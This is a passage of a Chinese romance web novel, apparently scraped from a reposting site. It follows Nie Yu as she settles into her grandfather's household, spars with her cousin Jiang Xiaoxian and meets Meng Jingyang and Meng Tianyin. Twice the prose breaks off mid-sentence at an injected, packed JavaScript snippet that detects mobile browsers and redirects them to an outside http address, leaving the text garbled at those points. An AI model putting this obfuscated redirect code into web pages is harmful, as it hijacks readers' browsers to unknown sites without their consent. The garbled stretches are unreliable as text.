聂宇知道现在不是刨根问底的时候,她假装不知道他是谁,看向姥爷蒋铸。 “这是你妈妈现在的丈夫,你就称呼他‘谭叔叔’吧。” “谭叔叔好。”聂宇从善如流道,“您这么早就过来了?” “哦,我正好要去上班呢,得知你从旬城来了,就顺路过来看看你。”谭斌笑说。他在外交部礼宾司工作,职业很配得上他的气质,体面儒雅。 聂宇“哦”一声,向外望了望,没有说话。谭斌知她所想,便将刚才说给蒋铸听的理由又搬了出来。 “你妈妈她这两天身体有些不适,怕来了之后过给老人和小孩儿,就留在家里了。但她嘱咐我了,说你初来乍到,有什么需要的或者不习惯的,都可以告诉我或者你姥爷,我们能为你办的都会办到。”一顿,“要把这里当成自己的家一样。” 聂宇沉默几秒。从没见过这样的家,连见亲生母亲一面都这样难。 如果这是在旬城,她可以掉头就走,毫不留恋。但这是燕城,是蒋家人的地盘,且她亲姥爷昨晚还提前给她上了一课,让她学会忍受和吞咽委屈。所以此时此刻,聂宇能做的只有微笑和接受。 “我这里挺好的,只是……我妈妈,她身体怎么样了?是因为什么不舒服的?”聂宇露出一副关切的神情,谭斌看在眼里,竟愣了一愣。他没想到啊,这孩子竟一丝怨言也没有。 “也没什么——”回过神来,他答,“就是前两天下雨着了凉,有些低烧和感冒。” “是这样啊……”聂宇低头,出神般低喃,“临来燕城之前,旬城也下了好几天的雨,我奶奶说,这是到了‘一场秋雨一场寒’的时候了。” 聂宇抬眸,对谭斌说,“您让她好好休息吧,不必担心我。” “好,好好。”谭斌连声应,看了眼蒋铸,发现他正垂着眸不知在想什么。 因为赶着上班,谭斌并不能在这里久留。但他迟迟没有告辞,一副欲言又止的样子让蒋铸意识到他应该是有话单独想跟聂宇说,便让她代为相送。谭斌果然松了一口气,跟聂宇一同出了屋门。 “谭叔叔,你有话想跟我说吗?”谭斌不善做戏,那副迟疑的模样连聂宇也看得出有问题。 “是啊。”谭斌擦一擦额头的汗,从随身携带的公文包里取出一个包裹地厚厚的信封来,递给了聂宇,“这是来之前你妈妈交给我的,嘱咐我务必亲自交到你手里。” 聂宇没接,以眼神示意:“这是?” “我想,应该是一些钱。”谭斌笑说,“你妈大概也是怕你在燕城有所花销,担心你到时束手束脚,所以——” “那就不必了。”聂宇打断他的话,“我来时带了钱了,家里这边姥爷也会贴补,我用不上她这笔钱。” “小宇,用不用得上,这都是你妈的心意,你就收下吧,好吗?”谭斌温和地说。 “您的意思是,不管我用不用得上,只要我收下,她心里都会好受一些,对吗?” 聂宇直接道,谭斌有些猝不及防,一时不知该如何回答。 “应该,应该是这样。”谭斌答的有些狼狈,因为这道理太说不通了。当妈的给女儿钱,不是为了她需不需要,而是为了她自己好不好受。这又将女儿的感受置于何地呢? “您瞧,连您都觉得不太合适了。”聂宇笑了,缓和了话中的尖锐,“谭叔叔,您回去转告她吧,我这次来,对她毫无所求。也希望她不要觉得有什么负担,就按照之前对待我的方式继续下去就成。” “可是——” 谭斌没懂,之前蒋云清可都是当她不存在啊。他疑惑地对上聂宇的视线,发现她正是这个意思。 “就让她继续当我不存在。”聂宇说。 - 送走谭斌,聂宇回到屋中,发现姥爷蒋铸没有回房,正站在窗边看着外面的风景,仿佛在等着她回来。听到脚步声,他果然侧过脸来,与她四目相对。 聂宇不知道老爷子这会儿在想什么,因为他的神情实在是有些复杂。但她很明白自己现在心中的想法,便笑一笑,对蒋铸说:“姥爷,我说过了,我不是为这些而来的。”所以即便是没有,她也不会伤心……很久。 蒋铸久久无言,待到厨房有动静传来,他向聂宇挥了挥手,示意她可以走开去办自己的事了。 蒋铸属实没有想到,自己这个外孙女居然能小小年纪这般冷情。难道,真的是受家庭影响吗? - 在度过最初兵荒马乱的适应阶段之后,聂宇渐渐习惯了蒋家的家庭氛围,并且找回了自己的生活轨迹。其实非常简单,除了一日三餐之外,她大多数的时间都用在图书馆里了,那里窗明几净,又没什么人打扰,最适合复习备考不过。除此之外,她在读书之余还可以去微机室里逛一逛,摸一摸那里面的电脑。出乎聂宇的意料,这些鲜少有人碰的电脑配备的居然是最新的系统,放在这里闲置着简直可以说是暴殄天物了。为了帮忙挽回损失,她也只能抽空多去那里逛逛了。 家里其他人,包括蒋铸、蒋云鹏和魏莹在内的,都对她这种早出晚归整日不见踪影只在餐桌上露面的行为毫无异议。一来他们知道她不会乱跑,是在图书馆里准备考试,二来他们也乐见其成,只希望这个外来的小姑娘让他们越少操心越好,这样也不会牵扯他们太多的精力。 唯独蒋晓先跟这几个人都不同,她是整个家里最“关注”聂宇的那个人。 聂宇也是来了几天后才知道,蒋晓先今年也参加了高考,并且同样“光荣”落榜。但是跟聂宇不同的是,她不打算再考了,只等着在家当米虫度日,然后到明年底了去参军入伍。本来老爷子是属意她今年就立刻进部队去历练的,但蒋晓先拿弟弟蒋晓南说事儿,声称自己走了没人照顾他,便硬是在家多留了一年。对于这个结果,蒋晓南的亲妈魏莹是一点儿也笑不出来。她倒宁愿继女赶紧走了,也比待在家里天天撩架强。 没错,许是从小被粗糙粗心的父亲带大,蒋晓先受到的疼爱怕是还没有聂宇多,这就导致她的性格有些古怪,不好相与。聂宇没来的时候,她主要是找魏莹这个后妈的事儿,聂宇来了,她挑衅的目标又多了一个。其实说起来两人并没有多大的仇,但对于心眼如针眼一般大的蒋晓先来说,一声“舅妈”就足够她记恨聂宇很久了。 这天中午,聂宇抱着书从图书馆出来的时候,看见了从外面逛街回来的蒋晓先。出于礼貌,她主动跟她打了个招呼,不想蒋晓先却回了她一个白眼。 “你少跟我套近乎。早上刚去捧了姓魏的臭脚,这会儿又来巴结我,你是想两头通吃啊?” 在没人的地方,蒋晓先连“小妈”都不喊了,直接称呼魏莹“姓魏”的。 对于蒋晓先这赤裸裸的恶意,聂宇虽不喜,但并没感到太多困扰。因为她现在出的招都是在明面上,对付起来并不困难。就比如此刻,聂宇听了便说:“我是跟你学的呀,当面‘小魏阿姨’,背面‘姓魏的’,你不也是想两头都占吗?” 聂宇以打趣的语气说道,蒋晓先听完更气了。 “能一样吗?蒋云鹏是我亲爸,又不是你的!” “所以啊,我更没有理由针对舅妈了,不是吗?” 聂宇故作无辜,而蒋晓先听到那声“舅妈”就炸了。 “你就非得喊她舅妈不行?她那个样子哪配了?” “哪不配了?”聂宇反问,“你爸蒋云鹏是我亲舅,而你的‘小魏阿姨’是你爸合法娶回家的老婆,我不喊她‘舅妈’喊什么?” “那我妈呢?你见了我妈喊什么?”蒋晓先胡搅蛮缠道。 “也喊舅妈呗,你妈要是不高兴的话,那我就加个‘前’字,称呼她前舅妈,如何?” 蒋晓先被她的“无耻”惊到了:“两个都喊‘舅妈’,说你两头通吃冤枉你了吗?” 聂宇懒得跟她玩儿绕口令了,在经过一块儿假山景观的时候,她停下脚步,问蒋晓先:“我问你一个问题,如果我爸出现在这里,你又该称呼他什么?” 蒋晓先愣住了,她倒真没想过这个问题。 “按你的逻辑你是不是该叫他一声‘姑父’?” 聂宇继续逼问,蒋晓先不得不回答:“叫,叫啊——” “那谭斌呢,你又该怎么叫他啊?姓谭的?小谭叔叔?” “……”这下蒋晓先彻底说不出来话了,她要是敢那样称呼谭斌,爷爷能打断她的腿! “这、这不一样,你不能这样比。”蒋晓先徒劳地反驳道。 “怎么不一样?是你妈比我爸金贵,所以我必须称呼她舅妈,而你不必喊他一声姑父,对不对。要我说你真是找错发泄对象了,你为什么不怪你妈离婚你爸再娶呢,要是他们两人现在还在一起,那我这声舅妈喊谁不是喊?解决问题要找根源啊你不知道么,找你爸去。” 蒋晓先被她这炮崩一样的话给炸傻了,她还从不知道聂宇的战斗力这么强悍。等她终于想到可堪反击的话时,聂宇已经走开了,她喊了一声她的名字让她站住,正要继续,忽听一声“噗嗤”从身侧的假山里传来。蒋晓先惊的浑身一震,大喊一声:“谁在里面,出来!” 聂宇也被她这声惊到,停下脚步,向着假山丛望去。不多一会儿,就见一个捂着嘴憋笑的女生,和一个穿着常服军装,满脸通红的高个男孩儿从里面钻了出来。 -12- “孟天音!” 蒋晓先看到女孩儿,不敢相信地喊出她的名字,“你怎么在这儿!” “我来这里面捡风筝啊。”孟天音晃了晃手里拿的那只大蜻蜓,笑着说道,“谁想正好碰到你跟你表姐吵架,就躲在这里看场好戏喽。” “你,你可真是无聊——”蒋晓先骂着,脸颊却隐隐灼热泛红起来。 “嗯嗯,你有聊,你有聊你在这儿逼着别人不喊你继母‘舅妈’。”孟天音不以为意道,怎么刺激怎么来。 “你——”蒋晓先彻底恼了,“关你屁事啊。” 丢下这句,她匆匆地狼狈离去,这副落荒而逃的样子落在孟天音眼中,又引出她一阵笑,似乎看蒋晓先吃瘪是天底下最有趣的事。 聂宇虽然也不喜蒋晓先,但在外人面前,她与她到底是一体的。见旁边那个高个男孩儿看过来,神情中似乎隐有歉疚之意,聂宇轻抿了下唇,追随蒋晓先而去了。 孟天音犹在幸灾乐祸,旁边的谢彭真看侄女一眼,满脸无奈—— “好了,晓先都已经被你气走了,你给我适可而止。” 孟天音不笑了,看一眼谢彭真,表情有些不满。 “我才不呢,平时都是她嘴欠在先,我这人有素质,拿她没办法。这回好不容易看到有人能治住她,想让我不落井下石看笑话,没门儿!”年轻姑娘眼一瞪,看一眼那两人远去的背影,又颇为好奇地对谢彭真说,“嘿,蒋晓先她表姐还真是个能人诶,几句话就能让那妮子哑口无言……” “行了。”谢彭真也偷瞥了聂宇的背影一眼,说,“咱俩赶紧回去吧,天放还等着他的风筝呢,另外今天你叔叔我表哥要过来,你又不急着见他了?” “好吧。”孟天音意犹未尽道,收拾好风筝线,跟谢彭真一起回了家。 - 孟家院外,此刻停了一辆挂着军牌的越野车。孟天音打那儿经过,看清车后的牌照,整个人就开心起来了。她将风筝一股脑塞给了谢彭真,提起裙子向里面跑去。 院内,孟京阳正围着一件围裙在炉子前烤肉,见侄女回来,他将原本给侄子天放的肉串转递给了她。孟天音开心地尖叫了一声“谢谢小叔”,接过肉串就大快朵颐起来。小朋友孟天放在一旁看着很是不满,他都等了好久了。 “不是说了么?女士优先。”孟京阳安抚小侄子道,手下不停。 “可我是小朋友,是小孩儿,不是男士。”孟天放嘟嘴。 “但小叔是,所以小叔决定了,这根肉串是我的,不是你的!”孟天音摇头晃脑地嘚瑟,孟天放拿她没辙,开始对着她做鬼脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353332|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 谢彭真欣赏了一分钟这姐弟俩的把戏,然后笑着走到孟京阳身边,要接过他手里这一摊子。孟京阳说没事,又给他们烤了两串,才收手到廊下去喝茶。 那里已经坐了两人,分别是大哥孟静东和老爷子孟锐挺。 “我说天音这孩子天天盼着你来呢,就你会逗他俩玩儿。” 孟锐挺喝一口茶,笑对孟京阳说。孟京阳挑一下眉没吭声,接话的是孟静东。 “他现在是还有这心思和情趣,到了我这年纪就嫌这俩闹腾了,不如躲开喝杯茶清静。” “喝茶这事儿,实在是在单位喝腻了,反倒不如逗逗孩子们有趣。” 孟京阳说这话的时候,孟静东刚亲手给他斟完一杯茶,闻言一抬眸,似笑非笑道:“这是在给我弄话听呢。” 孟京阳耸下肩,表示绝无此意。孟静东却指着他,向父亲告起状来,“看到没,我说什么来着,这小子平时就是这么敷衍我。” 孟锐挺和蔼一笑,将秋来新下来的脆柿往孟京阳那里挪了挪,然后缓缓开口道:“我听你哥说了,你对他将你安排到军区的战略研究室当个研究员很有意见?” “是看法不是意见,而且也不是瞧不上,是觉得自己高攀了。”孟京阳抬动了一下肩膀,两杠二的肩章在正午的日光照耀下,熠熠生辉。 “进这么关键的部门,我这资历不够看。”他轻描淡写道。 “胡扯。”孟静东不听他那鬼话,直接揭他老底,“是嫌我压着他不让他下部队,一肚子雄才大略没法儿得以施展。爸,您说说他。” 孟锐挺见孟京阳微垂了眸不说话,就知道老大这话有一半说中了他的心思。确实啊,当兵的有几个不想带兵,硬把他扣在机关里坐办公室,没点儿想法倒不正常了。 “京阳,我知道你的志向,但在这件事上呢,我是赞成你大哥的。”孟锐挺声音异常温和,任谁也想不到他年轻的时候是位首屈一指的悍将。 “人在头脑发热的时候,是需要有人给你降降温,让你冷静下来,思考一下接下来该怎么做,这不是坏事。更何况你是在军队,令行禁止的地方,你哥这不是怕你犯错误嘛。” “我懂,所以我这段时间不是乖乖听话,一天不落地去研究室报道么?不瞒您说,最近确实听到看到很多,也有不少心得,还没来得及跟孟司令员汇报,他就把状告到您这儿了。” 孟京阳这话半真半假。真说他没想法了是不可能的,但他也晓得孟静东的良苦用心,在哪个位置就会做好这个位置该做的事。 “在老爷子面前你又装起乖了,偏他就吃你这套。”孟静东指着他笑骂。 “那这不是我的问题,而是你的。”仗着有人撑腰,孟京阳大言不惭地反驳回去,“你该反思下,老爷子为什么不吃你这套。” “……”孟静东无语,手一划拉,让他给自己倒茶。 说不过他,那就使唤他。 - 中午,孟家人围坐在一起吃了顿热闹的午饭。饭后孟京阳回到房间洗了个澡休息了片刻,在日头逐渐偏西的时候,准备驱车离开干休所。 孟静东亲自送他,临别嘱咐还是那老三样,一是让他别急,安心工作,日后定有下部队的机会;二是养好身体,身体是革命的本钱,不能再像以前那样拼;最后,则是他平常说的最多但孟京阳最懒得听的,那就是:相亲,找对象,成家。 “老爷子今儿没对你说,私下可是对我说了,当任务一样布置给了我,你可不能让我没法儿跟他交代啊。”孟静东严肃地声明。 其实,孟京阳并不是孟锐挺的亲生儿子。他的亲生父亲叫孟锐和,是孟锐挺的亲弟弟,军内有名的导弹发射专家,十几年前牺牲在一场意外中。从那以后,孟锐挺就将孟京阳当自己的亲儿子养,付出的心血比孟静东还多。 “还是说,你心里仍记挂着林虹嘉?这都过去几年了,你还走不出来?”孟静东表情无奈。 孟京阳看着大哥,不知道该说什么了。他自己一个人就能唱完一出戏,根本没给他留发挥的余地。 “哥,你的头脑就留给国家大事吧,感情的事不适合你。” 孟京阳笑说,孟静东眉一竖,正要再教育他几句,余光瞥见谢彭真走了过来,只好收了势。用手点了点他,孟静东背着手离去。 “大哥是不是又催你找对象呢。” 见孟静东一副气急败坏的样子,谢彭真就猜到了一大半,走过来笑着对孟京阳说。孟京阳无奈一笑,说:“所以说得谢谢你,来的是时候,正好帮我解了围。” “但你也得当回事了,连我爸都说你年纪不小了。” 谢彭真表情温和地站定,孟京阳瞧他一眼,揪出他话中的重点:“最近见你爸了?” “没。”谢彭真摇摇头,“还是过年的时候听他闲话时提及的。”一顿,“哥你也知道,不是逢年过节,想见我爸一面难。” “他这是……把工作当做自己的全部了。”斟酌半晌,孟京阳也只说出这样一句,似宽慰又似解释。 谢彭真的父亲谢宜鸿,是一位知名的壁画研究学者,多年来待在大西北,出入万千佛洞,研究和临摹其中的壁画。他对自己的事业可谓是如痴如醉,但这种狂热对他的家人来说,却无异于一场灾难。就像谢彭真听了孟京阳的话后,不自觉问出的一句—— “既然如此,他为什么要成家呢?他完全可以跟他的壁画过一生。” “……” 孟京阳对此无言,谢彭真见状,露出一个苦笑,说:“可见,结婚也不一定适用于每一个人,对吧?下次大哥再催婚的时候,你可以拿我爸当反例。” “你这是让我编排自己的亲舅?”孟京阳失笑,而后抬手拍了一下谢彭真的肩膀,说,“还是那句话,管不了别人,就先管好自己。” “是。”谢彭真挺胸,大声应道。 - 又闲谈了几句工作上的事,孟京阳出了院门,上了越野车,缓缓离去。 此时的日光已经大半西落,孟京阳整张脸笼在一层黄昏的阴影中,一双湛然的眼眸凝视着前方,在为行人让路的时候,安静地出着神,神情平静又漠然。 虽然回到“家”里的感觉很好,但每次决定来干休所之前,他的思想并不是毫无波澜。他太清醒了,所以才会一次又一次地在这种寻找“家的感觉”的努力中,一遍又一遍地意识到并确认自己已经没有家的事实。他最至亲的两个人,皆已不在。 孟京阳松开刹车,在行人过去之后轻踩油门,向着干休所大门驶去。一旁的西篮球场热闹非凡,应该是驻守在这里的警卫连在跟兄弟部队打友谊赛。孟京阳可有可无地看过去一眼,在瞥见某个人的时候,不自觉降下了车速。 聂宇?她坐在这儿? 7. 13-14 -13- 今天是聂宇的休息日——每周周日半天,她给自己制定的。 本来她打算去院里的体育馆游泳,但因为午间发生的那场争执,让她没了兴致。 原本她是不把任何跟蒋晓先的不快放在心里的,因为这个人段数实在是低,不至于把她当个对手。但量变久了总会引起质变,再加上今天中午又有外人在场,所以搅得她有些心烦意乱。由此,她再一次深深体会到姥爷说的那句话:到哪里都是一地鸡毛。 但聂宇后悔来燕城吗?思来想去,答案是不。 今天在出门前,聂宇照例给奶奶打一周一次的电话,得知了一件不算好消息的好消息——大爸一家要给谢静芳买房了。 这事乍一听很离奇——铁公鸡舍得拔毛了?但听完其中的内情,便知道他大爸还是他大爸,没人能从他那里占得便宜——除非他有求于人。 起因是堂哥聂杰英准备跟交往了两年的女朋友谈婚论嫁了,摆在前面的问题除了彩礼便是房子。原本大爸的打算是让谢静芳腾出来家里最大的那间卧室,可以暂时用来安置小两口。奈何谢静芳不答应,聂杰英现在那个小房间又太局促,于是只能向外想办法。这一个多月来,大爸一家跑遍了旬城的房地产市场,看过的房子要么贵要么小,没有一个合心意的。最后是大妈灵机一动,说不如给妈买一套房子,到时让她搬出去,那么顺利成章地现在这套三居室就归他们一家人所有了。 虽说聂宇家现在居住的那套三居室有些老旧,但面积大且地段好,以后无论是上班还是上学都方便。最重要的是,聂杰英女友家那边对这个方案也很满意,于是大爸便准备这么办了。 谢静芳那里,一开始当然是不同意的。是大妈在她跟前苦苦相求了大半个月,最后不惜以死相逼,终于哄得她松口。紧接着就是一系列紧锣密鼓的看房和讨价还价,最后选中了城南一所大学家属院的一套不足六十平的小两居,供谢静芳和聂宇以后居住。 当然,这套房子也是老房子,年龄比现在那套三居还要大。但胜在保存得当,且周边环境十分安静,生活也便利。王盈来看过之后心里都直犯嘀咕,要是这套房子再大一些,价格再便宜一些,买下来当婚房也是极好的,哪里能便宜这个老太婆。 “不管怎么说,这套房子现在就记在我名下,我同你大伯说好了,等你回来就把房子公证给你,这样以后即便是我不在了,你在旬城也不至于无处可去。” 从始至终,谢静芳都知道自己别想从大儿子夫妇手中保下现在住的那套大房子。所以她不动声色,耐心等待,终于等到大儿子主动向她开口,有求于她。于是,最终得偿所愿。 “你大爸二爸各有一套,你作为你爸爸唯一的孩子,自然也要有一套,这样才公平。” 在电话里,谢静芳笑着说,聂宇听了却只觉得心酸。她没想到,奶奶执意不换房间的用意,竟然是为了她。 “奶奶,都是因为我,让您一直操心。” 她心里很难受,便自责了起来。谢静芳安慰了她几句,又叹了一口气,说:“现在想想啊,你走了也好。你走了我就没有后顾之忧了,可以放心跟他们搏。他们哪,再也没有什么可以威胁我的了。” “……”聂宇安静了,沉默地抽噎着。 是了,这就是她来燕城的用意。并非只是为了复习或者贪图这里的资源,而是想要解放她的奶奶。一旦当她的人生不再是压在她老人家背上那块重石时,她就彻底自由了,从此不再畏惧任何人。 再一次回想一遍这件事,聂宇心中安定了不少。眼见日头西落,时间已是不早,她打算起身回家,早早洗漱完上床休息。等到明天起来,就又是新的一天。 只是,她刚一起身,看到一辆越野车徐徐开了过来,并停在了靠近篮球场的一侧。几秒后,车门打开,一个穿着便装的男人从驾驶位上走了下来。是……孟京阳。 聂宇并不奇怪在这里会见到他,因为早在她住进这个大院的第一周,就大概摸清了这里面住的都是哪些老干部,其中就有一位姓孟的。她只是有些纳闷或者说惶恐,不明白他停下车并向自己走过来是什么意思。 男人的身姿犹如道旁那一排排挺拔笔直的白杨树,聂宇清一清干涸的喉咙,在他快要走到自己面前的时候,同他打招呼:“孟先生……” 孟京阳听到这个称呼,有一些好笑。在国外交流的那段时间,确实有不少人会这样称呼他。可回到国内以后,尤其是回到这个从小到大一直熟悉的部队环境中,会这么叫他的只有聂宇一个了。他看了女孩儿一眼,她的穿着十分朴素,原本及肩的齐耳短发长长了几分,被她挽成一个小短揪扎在耳后,几缕碎发滑下,伴着晚风飞舞摇曳。 “你怎么一个人在这儿?” 就不怕冷么?——孟京阳压下了这后半句,没有说出口。 “吃过晚饭出来散散步,看到这儿有打篮球的,就过来围观下。”聂宇老实回答道,尽量让自己平静。 “是么?”孟京阳也回过头看过去一眼,场上的赛况仍是如火如荼,打得十分激烈,“所以你除了跳水和游泳外,还擅长打篮球?” “……” 跳水,确实是聂宇擅长的体育项目。小时候因为身体太弱总是生病,爸爸便和奶奶商量了,送她去家附近的少年宫学习武术强身健体。只是她当时的个子太矮体格太弱,教武术的老师傅不收。又恰逢一位全国跳水冠军返乡就业,利用少年宫旁的一个游泳场教起了游泳和跳水,于是聂传江便将就把女儿送去了那里。这一“将就”可算是歪打正着了,聂宇居然在跳水上颇有天赋,喜得冠军教练想送她进市体校。后来还是奶奶谢静芳觉得走这条路太苦了,才最终作罢。 聂宇晓得,孟京阳问这话应该没有什么别的用意,但一提起“跳水”和“游泳”就容易让她想起照山,一想起照山就无法不回忆起那晚,于是,整个人淡定无能了。 “就是……随便看看。”她答,“我从来没有上场打过。” 孟京阳“嗯”一声,无言片刻后,他再度将目光移到她身上,说道:“聂宇,是我的错觉么,总觉得再见你仿佛变了个人。” “嗯?”聂宇没太懂,只是在心里嘀咕:原来他还观察过她是个什么人? “像是遭了霜的茄子,拔了毛的小鸡,落了水的小狗——如何,够形象么?” 他说到这里,笑了一笑,聂宇却是立刻傻了眼,目瞪口呆。这、这说的还是人话吗?是不是太轻佻和冒昧了? 聂宇用眼神表达了自己的谴责,孟京阳毫不费力地捕捉道,轻抬了下眉尾,说:“不高兴了?很好,咱们扯平了。” “……” 聂宇再次瞪眼,这次是讶异。扯平,是指那晚……在照山的那件事?一想到那件事,聂宇顿时觉得自己连一点儿指责他的立场和资格都没了,只能老实认怂。 俩人又都沉默下来。其实认真说来他们真的不算熟,彼此交集也不多,所以没话说也是正常的。只是,这个人怎么还不走? 聂宇在心里默默祈祷着欢送了他好几次了,就听孟京阳终于又开口:“不是已经得到你想要的了么?” 怎么还如此的怏怏不乐。 孟京阳虽然没有说出下半句,但聂宇全都听懂了,怔愣一下后心绪又有了起伏。 “是因为我蠢,笨,对不该有的人还有所期待。” 仿佛是发泄情绪一般,聂宇突然脱口而出这样一句。孟京阳对此当然有些意外,他侧眸看她一眼,不及他说什么,聂宇忽然反应过来,后悔吐露心声了,抬步就要走。孟京阳迟了两秒才出声叫住她,聂宇停住脚步,回过头看他,神情中有憋不住的恼怒和委屈,她不明白这个人怎么没完没了了。 孟京阳瞅着她,觉得自己刚才那句形容里还得加上一个——像是被踩了尾巴的猫。他微微失笑,越过她向停在路边的越野车走去,在里面翻找了一会儿,取出一样东西来,递给了聂宇。 聂宇没接,小心审视着问:“这是……?” “没下毒。是别人送的一盒白巧克力,我不爱吃甜,送给你吧。”他说,“不都说吃点甜食会心情好么?” 孟京阳说完将巧克力塞到了她的手里,短暂接触的那一瞬,犹如触电。聂宇脑子果然短路了,等回过来神的时候,孟京阳已经驱车离去。 聂宇:“……”她竟然被他给安慰了。 -14- 过后,无论是蒋晓先还是聂宇,都不提那天中午发生的那件事了。不知前者是在顾忌什么,但聂宇肯定是因为多一事不如少一事。关于“舅妈”这个称呼的争执竟然以这种方式结束了,这是两人都没有想到的。 当晚,在家里人都睡下之后,聂宇偷偷从床上爬起来,将她收在书桌中的那盒巧克力取了出来,悄悄地品尝了一块。是很甜,而且丝毫不腻,非常符合她的口味。聂宇于是又尝了一块儿,任由甜味在唇齿间化开,心情似乎也轻快了许多。 还挺有用。她想。 之后,聂宇照常准备着自己的考试,而蒋晓先在短暂的安分之后,渐渐恢复了往日的派头。看得出来,那天的失败对她来说是个打击,但归根结底是场口水官司而已,至于这样? “你懂什么!” 如果蒋晓先知道聂宇心中所想,定会这样反驳回去。在这个院里,输给谁都比输给孟天音好,她跟她可是生来的死对头。 也是在蒋晓先重新抖擞了精神之后,聂宇才从她那里详细地了解了孟天音其人,得知她是燕城军区司令员孟静东的女儿,现年不足十八岁,却早以高分考入燕大物理系就读两年。这样的人物,放在哪里都是天才少女的级别啊。 聂宇大为震撼,想起那天那个跟蒋晓先拌起嘴来气势十足的女孩儿,觉得跟“天才少女”有些对不上号。如此热衷于人间的纷纷扰扰,这姑娘是不是有点儿太接地气了? “就是因为她从小到大学习都比我好,所以是个人见了我俩都夸她不夸我,好像学习好就能代表一切似的。她那个人你也见过了,性格恶劣的要命,可是大家都夸她可爱呢。她可爱吗?” 蒋晓先气鼓鼓地看着聂宇,聂宇在心里默默给出答案:是比你可爱点。 “因为有她,我从小就成了衬托红花的绿叶,你说我怎么能不气?”蒋晓先黯然神伤道。 “那你就努力一把,争取超过她啊。”聂宇不解,这道理不很简单嘛。 “说你傻你还真傻,你让我在学习上超过孟天音?那我不如直接去跳护城河重新投胎好不好?” 看来还是有点儿自知之明。 聂宇没忍住笑,说:“那你就干脆投降,承认她比你优秀,不和她比了不就好了?” “没门!”蒋晓先斩钉截铁道,“再说了也不是我想比的,是别人非要把我俩放一块儿,我能怎么办?” 那还真是难办。 聂宇也叹了口气,感觉蒋晓先有点惨。有的时候,她的痛苦不是自己造成的,而是别人非强加给她的。当然,在能力范围内没有努力做到最好,也是造成她“高不成低不就”境地的重要原因之一。人可以不跟别人比,但不能不跟自己比。 “反正,孟天音是我的天敌,你是我表姐,要站在我这一边,不要搭理她,听见没?” 蒋晓先气势汹汹道,聂宇没理她。 她可以不理孟天音,但绝不是因为蒋晓先,而是在她看来,孟天音根本没有搭理她的必要。所以,她也不必妄想了。 聂宇就此歇下了心思,却不料在这之后的第二天,事情就发生了变化。 - 周日午后,又是聂宇惯例的休息时间,在午睡过后,她拿上装备来院里的游泳馆游泳了。 刚下水游了没两圈儿,馆子里又进来一个人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353333|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿着一袭浅粉色泳衣,整个人看上去细瘦高挑,四肢修长。聂宇在泳池边停下,摘下护目镜仔细看过去,认出来来人是孟天音。她稍稍意外了一下,才用手去擦脸上的水。 孟天音正在池边做热身运动,结束之后准备下水时看到了在泳池一侧冒头的聂宇,颇有些意外和兴奋地向她跑了过去。 “哇,是你诶!刚是你在游么,你竟然会蝶泳。” 刚才进来的时候,孟天音看到有一具纤细白净的身体在水里如鱼儿般畅游,泳姿正是她唯一还没学会的蝶泳。当时她意外地被两个跑闹的小孩儿给转移了注意力,等再去看的时候,已经找不见人影了。 聂宇没想到她还记得自己,微微一笑,没接她的话茬,只是说:“你也来游泳啊。” “对啊,学校那边人太多,我就回院里来了。”孟天音说着跳下了水,同样都留在池边,与聂宇四目相对。 聂宇被她那一双明亮的眼睛审视地有些不好意思,笑一笑,打算游开了。孟天音没在意,跟着她游了几圈之后,发现她竟是在有意避开自己,便有些不高兴了。加速努力在浅水区追上了她,孟天音连护目镜都来不及摘,就冲聂宇“发难”。 “我看你好像不想搭理我诶,我有得罪你吗?” “……”游泳这么多年,聂宇很久没被水呛到了,孟天音做到了。 “我一定要搭理你么?”聂宇反问,“我跟你,好像没什么关系。” ……好像也是哦。 孟天音反应过来了,摘下护目镜冲她笑,说:“那现在建立关系也不晚,咱俩当朋友吧,等你有空了教我蝶泳。” “……你想跟我当朋友?”聂宇不太确定地看着她,“难不成,你也想拉拢我跟你统一战线,孤立晓先么?” “谁是为她啊。”孟天音翻了个大大的白眼,“不过我觉得在对付蒋晓先这件事上,咱俩应该挺有共同话题的。” “……”聂宇笑着摇了摇头,四肢又在水下浮摆开了,以免身体发冷。 “摇头是什么意思啊,答应还是不答应?”孟天音追着她问,差点儿呛进去一口水,连连咳嗽了好几声。 “你先别说话了,跟着我游吧,游完再说。” 丢下这句话,聂宇已经游出去几米,孟天音好胜心一起,立刻跟了上去。 在一圈结束后,孟天音发现聂宇的泳姿由蛙泳变成了蝶泳,她停下来观察了两圈,也试着跟她一样变换姿势,但在原地扑腾了好半天仍是毫无进展,还差点儿溺水。 聂宇及时游过来托住了她,将她扶到了池边,拍了拍她的后背,帮她缓解。 孟天音缓过来之后,通红着脸对聂宇抱怨:“我感觉脚下像是坠了个秤砣,怎么都不往前走。” 聂宇笑了笑,说:“你往上打脚太用力了,这样会加大阻力。试着稍微放轻一点,手中的浮木也丢掉。” “丢掉浮木那我不是又要淹了。”孟天音犹豫着不敢动。 “没关系,我给你保驾护航,试一下。” 孟天音在聂宇的鼓励下,丢开手中的护具,试着往前游。一开始还没完全掌握技巧,仍是卡在原地。待聂宇跟在后面手把手帮她纠正,孟天音慢慢找到了节奏,泳姿也渐渐流畅了起来。等两圈过后,她已经完全学会了蝶泳。 “天呐,原来蝶泳是这种感觉,就好像一道鞭子甩出去那样丝滑畅快。”在池边停下后,孟天音惊喜感叹。 聂宇笑着没吭声,心想不愧是天才少女呀,真会比喻。 